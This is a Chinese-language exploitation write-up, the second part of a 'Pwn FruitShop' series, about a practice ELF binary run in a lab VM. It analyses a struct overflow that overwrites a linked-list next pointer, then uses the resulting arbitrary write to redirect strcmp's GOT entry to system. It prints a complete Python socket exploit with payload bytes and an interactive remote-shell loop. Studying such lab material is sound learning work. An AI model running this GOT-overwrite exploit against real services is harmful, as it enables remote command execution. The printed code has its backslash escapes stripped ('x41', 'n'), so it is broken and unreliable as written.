Pwn FruitShop的故事(下)
在上一篇Pwn FruitShop的故事(上)
中我们介绍了目标样本产生的背景并分享了一个64位栈溢出漏洞的利用方式。本次我们将继续分享一个64位内存任意写的漏洞,并在系统开启ASLR的环境下完成漏洞的利用。
为便于大家复现,提供样本ELF程序和样本源码,可以在x64的linux虚拟机上运行。
环境:Ubuntu 16.04 x64
分析的样本程序:f2_x64_point
链接:https://pan.baidu.com/s/1Ju18mj3i0-WVHFim-7A6ng
提取码:ofmn
对应样本的源代码:f2_x64_point.cpp
链接:https://pan.baidu.com/s/14ItVEwVQ5jWJTPpM6syYWg
提取码:zwlm
0x00 样本分析
在第一轮的筛选中,我们通过checksec
对目标程序采用的安全机制进行检测,筛出了一个没有在栈中开启Canary
保护的样本。在第二轮的筛选中,我们通过IDA对剩余样本进行静态分析,筛选出一个结构体中变量溢出导致的内存任意写漏洞的样本程序。
该程序的checksec结果如下:
通过IDA分析,该程序虽然在很多地方对输入字符串的长度没有做合法性检查,但由于有Canary
保护机制的存在,我们无法使用覆盖返回地址的方法对栈溢出漏洞进行利用。但是,可以注意到我们是可以修改.got.plt
表。
首先我们针对其水果的结构体和链表结构进行分析:
通过IDA静态分析其水果链表的创建过程,可见一个水果节点结构体的大小为0x90=144B大小。
该函数为初始化水果链表的过程,结合F5将汇编代码转换为伪C代码,可以分析出一个水果节点的结构体为:
# Struct Comm 144B
# 0x00 int No; //4B
# 0x04 char name[20]; //20B
# 0x18 double price; //8B
# 0x20 int count; //4B
# 0x24 char Description[100]; //100B
# 0x88 struct commdity *next; //8B
0x01 漏洞成因
通过对ChangeFruit函数的分析和已分析出的水果节点结构体,我们发现由于没有对结构体中的Description的输入做长度的检测,而Description后面紧跟的是*next
指针。我们可以通过溢出Description来覆盖*next
的值,使我们控制*next
指针。
控制了*next
指针后,就可以通过改写链表头结点的*next
,再调用ChangeFruit()
函数对链表结点中*next
指向的内存空间进行赋值,从而造成了内存任意写的漏洞。
0x02 漏洞利用
进行动态调试和分析,使用GDB工具。先在Ubuntu虚拟机终端上运行:socat tcp-l:8888,reuseaddr,fork exec:"stdbuf -i0 -o0 -e0 ./f2_x64_point"
在利用nc连接虚拟机端口,用ps -e查看f2_x64_point进程的pid,再用gdb attach [pid]
上对应pid的进程结合断点进行调试。
已分析出目标程序有任意内存写的漏洞后,再配合.got.plt
表可写和No PIE,就可以利用改写.got.plt
表中某函数对应的地址完成漏洞的利用。
<1>.got.plt表中覆盖函数的选择
通过分析程序的流程,在管理员登录的login函数中,我们发现strcmp系统调用符合漏洞利用的要求,如果我们能将.got.plt
表中的对应strcmp@.got.plt
函数的地址改为system@.plt
的地址(0x4007C0),就可以通过输入name来给strcmp函数传入参数,继而等价于给system函数传入参数并执行,从而利用漏洞执行了恶意代码。
<2>.got.plt表覆盖过程
通过逆向得到管理员的账户和密码,admin/123,利用Python编写socket通信程序实现与fshop_b7的交互。
利用下图来说明strcmp@.got.plt改写的过程。
login('admin','123')
def changeFruit(id,price,amount,des):
client.sendall(bytes('2n', encoding='ascii'))
sendData(id + 'n')
sendData(price + 'n')
sendData(amount + 'n')
sendBin(des)
①首先调用ChangeFruit函数修改第一个水果节点,通过控制Description来覆盖*next
指针的值,使其指向一片暂时无用的内存区域,即地址b(0x602270)
bHex1 = b'x41'*100 +
b'x70x22x60x00'
b'x0Dx0A'
changeFruit('1','0','0',bHex1)
调用ChangeFruit函数修改第一个水果节点后的第一个结点内存数据,红框内是我们控制的指想第二个节点的*next
的数值。
②调用ChangeFruit函数修改第二个水果节点,由于第一个水果节点的*next
已被我们控制,即可以在指定的第二个水果节点写入我们期望的值。
由于strcmp@.got.plt
地址为0x602058,则第三个水果节点的起始地址为0x602058-0x24=0x602034,我们要通过漏洞修改这个地址对应的值,但由于该地址中含有0x20,0x20会使scanf("%s",comm->Description)
的输入会发生截断,因而无法通过scanf("%s",comm->Description)
传入0x20,但可以通过scanf("%d",&comm->count)
利用count数量来传入带0x20的地址。Int(0x602034)=6299700
changeFruit('2','0','6299700',b'x00x0Dx0A')
调用ChangeFruit函数修改第二个水果节点后的第二个结点内存数据,利用count(水果数量)传入0x602034
PS:如果使用Struct Commdity中的int count对strcmp@.got.plt进行覆盖,
会导致system@.got.plt也会被覆盖,导致程序流程中调用system函数时出现错误!利用失败。
0x602058-0x20=0x602038 => int:6299704 fail!
③再调用ChangeFruit函数修改第一个水果节点,重新修改*next
指针,指向0x602270+0x20-0x88=0x602208的地址。新的第二个水果节点的*next
指针的对应的值就为0x602034。见上图蓝色箭头和虚线框,指的是第②步中第二节点的数据结构。
bHex2 = b'x41'*100 +
b'x08x22x60x00'
b'x0Dx0A'
# 0x602270+0x20-0x88=0x602208
changeFruit('1','0','0',bHex2)
再调用ChangeFruit函数修改第一个水果节点,重新修改*next指针,完成后的3个结点内存数据
④通过上面3步,此时第三个节点的起始地址为0x602034,调用ChangeFruit函数修改第三个水果节点,通过控制Description,改写0x602058地址对应的值,改为0x4007C0,完成strcmp@.got.plt
的改写,之后在程序中调用strcmp函数就等同于调用system函数。
changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')
调用ChangeFruit函数修改第三个水果节点后,第三个结点内存数据(已完成对strcmp@.got.plt的修改)
⑤利用脚本交互,输入3,退出login函数,再输入0,重新进入login函数。
此时调用strcmp就是调用system函数,利用name传入想要执行的命令,即可被传入system函数实现执行,完成漏洞的利用,得到了shell。
sendData('3n')
sendData('0n')
while(1):
command = input('[+] Shell>')
sendData(command + 'n')
sendData('27n')
完整利用过程:
完整利用代码:
import socket
import time
targetIp = '192.168.150.137'
targetPort = 8888
client = socket.socket()
client.connect((targetIp,targetPort))
def sendData(strData):
bHex = bytes(strData, encoding='ascii')
client.sendall(bHex)
time.sleep(0.2)
data = client.recv(1024)
try:
print(str(data, "ascii"))
except:
print(data)
def sendBin(bHex):
client.sendall(bHex)
time.sleep(0.2)
data = client.recv(1024)
try:
print(str(data, "ascii"))
except:
print(data)
def login(user,password):
sendData('0n')
sendData(user + 'n')
sendData(password + 'n')
def changeFruit(id,price,amount,des):
client.sendall(bytes('2n', encoding='ascii'))
sendData(id + 'n')
sendData(price + 'n')
sendData(amount + 'n')
sendBin(des)
login('admin','123')
bHex1 = b'x41'*100 +
b'x70x22x60x00'
b'x0Dx0A'
changeFruit('1','0','0',bHex1)
changeFruit('2','0','6299700',b'x00x0Dx0A')
bHex2 = b'x41'*100 +
b'x08x22x60x00'
b'x0Dx0A'
changeFruit('1','0','0',bHex2)
changeFruit('3','0','0',b'xC0x07x40x00x00x00x00x0Dx0A')
sendData('3n')
sendData('0n')
print('**E*************l***********t*********D*********e*******************')
print('*****x*************o***********!*********o*********!*****************')
print('********p************i**********************n************************')
while(1):
command = input('[+] Shell>')
sendData(command + 'n')
sendData('27n')
0x03 结语
通过分享对2个样本的漏洞定位和利用过程,加深了对Linux漏洞利用技术的了解,同时希望能与各位大佬们相互交流,共同进步。作为刚刚跨入安全行业的小白,还有很多东西需要向大家学习,请大家多多指教~
发表评论
您还未登录,请先登录。
登录